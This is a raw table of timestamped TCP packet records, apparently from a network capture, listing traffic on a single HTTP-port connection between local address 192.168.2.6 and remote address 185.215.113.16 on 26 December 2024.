Dec 26, 2024 12:52:14.297755003 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.298486948 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.298557043 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.298566103 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.298599005 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.299345016 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.299457073 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.299505949 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.300158978 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.300282955 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.300329924 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.301042080 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.301175117 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.301898003 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.301954031 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.301994085 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.302764893 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.302819967 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.302867889 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.303642035 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.303689957 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.303723097 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.303761005 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.304486036 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.304655075 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.304728031 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.305274963 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.305392027 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.305439949 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.306205988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.306266069 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.307034016 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.307051897 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.307120085 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.307154894 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.307971954 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.308067083 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.308116913 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.309022903 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.309115887 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.309313059 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.309870958 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.309981108 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.310156107 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.310645103 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.310765028 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.310915947 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.311240911 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.311357021 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.311516047 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.312104940 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.312227011 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.312263966 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.312949896 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.313057899 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.313174963 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.313818932 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.313896894 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.313935995 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.314649105 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.314739943 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.314884901 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.315623999 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.315675020 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.315954924 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.316395998 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.316414118 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.316473961 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.317226887 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.317321062 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.317476034 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.318017960 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.484025955 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.484071970 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.484126091 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.484294891 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.484374046 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.484417915 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.485157013 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.485204935 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.485249043 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.486037016 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.486090899 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.486100912 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.486869097 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.486951113 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.486974001 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.487730980 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.487792015 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.487833977 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.488686085 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.488770008 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.488816977 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.489557981 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.489607096 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.489720106 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.490740061 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.490777969 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.490803003 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.491511106 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.491561890 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.491602898 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.492183924 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.492218018 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.492280006 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.492937088 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.492966890 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.493005037 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.493705988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.493801117 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.493844032 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.494586945 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.494628906 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.494678974 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.495397091 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.495461941 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.495501041 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.496205091 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.496243954 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.496288061 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.497272968 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.497329950 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.497353077 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.498167038 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.498248100 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.498276949 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.498811007 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.498879910 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.498925924 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.499608994 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.499669075 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.499721050 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.500508070 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.500524044 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.500561953 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.501348972 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.501442909 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.501485109 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.502161980 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.502270937 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.502306938 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.503034115 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.503076077 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.503146887 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.503905058 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.503958941 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.504014015 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.504764080 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.504792929 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.504832983 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.505592108 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.505633116 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.505673885 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.506459951 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.506514072 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.506548882 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.507303953 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.507350922 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.507394075 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.508213997 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.508251905 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.508292913 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.508996010 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.509089947 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.509102106 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.509886980 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.509947062 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.510025978 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.510715008 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.510763884 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.510876894 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.511610031 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.511662960 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.511703014 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.512443066 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.512528896 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.512537956 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.513443947 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.513463974 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.513504028 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.514261007 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.514306068 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.514333963 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.514997959 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.515043020 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.515115976 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.515824080 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.515942097 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.515952110 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.516803980 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.516915083 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.516968012 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.517561913 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.517646074 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.517687082 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.518374920 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.518428087 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.518487930 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.519263029 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.519306898 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.519324064 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.520138979 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.520191908 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.520234108 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.520934105 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.521083117 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.521122932 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.521831989 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.521883965 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.521893978 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.522675991 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.522749901 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.522748947 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.523494959 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.523617983 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.523665905 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.524399996 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.524450064 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.524451017 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.525218010 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.525275946 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.525326014 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.526073933 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.526156902 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.526211023 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.526951075 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.526998997 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.527235031 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.527776957 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.527863026 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.527903080 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.528594971 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.528640985 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.694505930 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.694565058 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.694806099 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.694833994 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.694952965 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.695012093 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.695732117 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.695772886 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.695813894 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.696535110 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.696695089 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.696803093 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.697376966 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.697458982 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.697508097 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.710517883 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.710560083 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.710572958 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.710609913 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.710688114 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.710699081 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.710711002 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.710721016 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.710738897 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.710767984 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.710916042 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.710927963 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.710938931 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.710951090 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.710954905 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.710963011 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.710972071 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.710999966 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.711044073 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.711064100 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.711098909 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.711250067 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.711270094 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.711311102 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.711325884 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.711338043 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.711368084 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.711379051 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.711380959 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.711390972 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.711402893 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.711405039 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.711441994 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.711637974 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.711651087 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.711689949 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.711718082 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.711730957 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.711741924 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.711752892 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.711765051 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.711776972 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.711777925 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.711807013 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.711822033 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.711961985 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.711972952 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.712006092 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.712102890 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.712115049 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.712157965 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.713366032 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.713448048 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.713524103 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.713773966 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.713833094 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.713875055 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.714634895 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.714741945 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.714849949 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.715488911 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.715569019 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.715606928 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.716440916 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.716533899 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.716751099 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.717128992 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.717164993 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.717268944 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.717842102 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.717904091 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.718107939 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.718677044 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.718796968 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.718970060 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.719655991 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.719976902 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.720021009 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.720464945 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.720552921 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.720591068 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.721250057 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.721384048 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.721441984 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.722146034 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.722228050 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.722399950 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.722971916 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.723067999 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.723345995 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:14.723841906 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:14.723959923 CET	80	49842	185.215.113.16	192.168.2.6
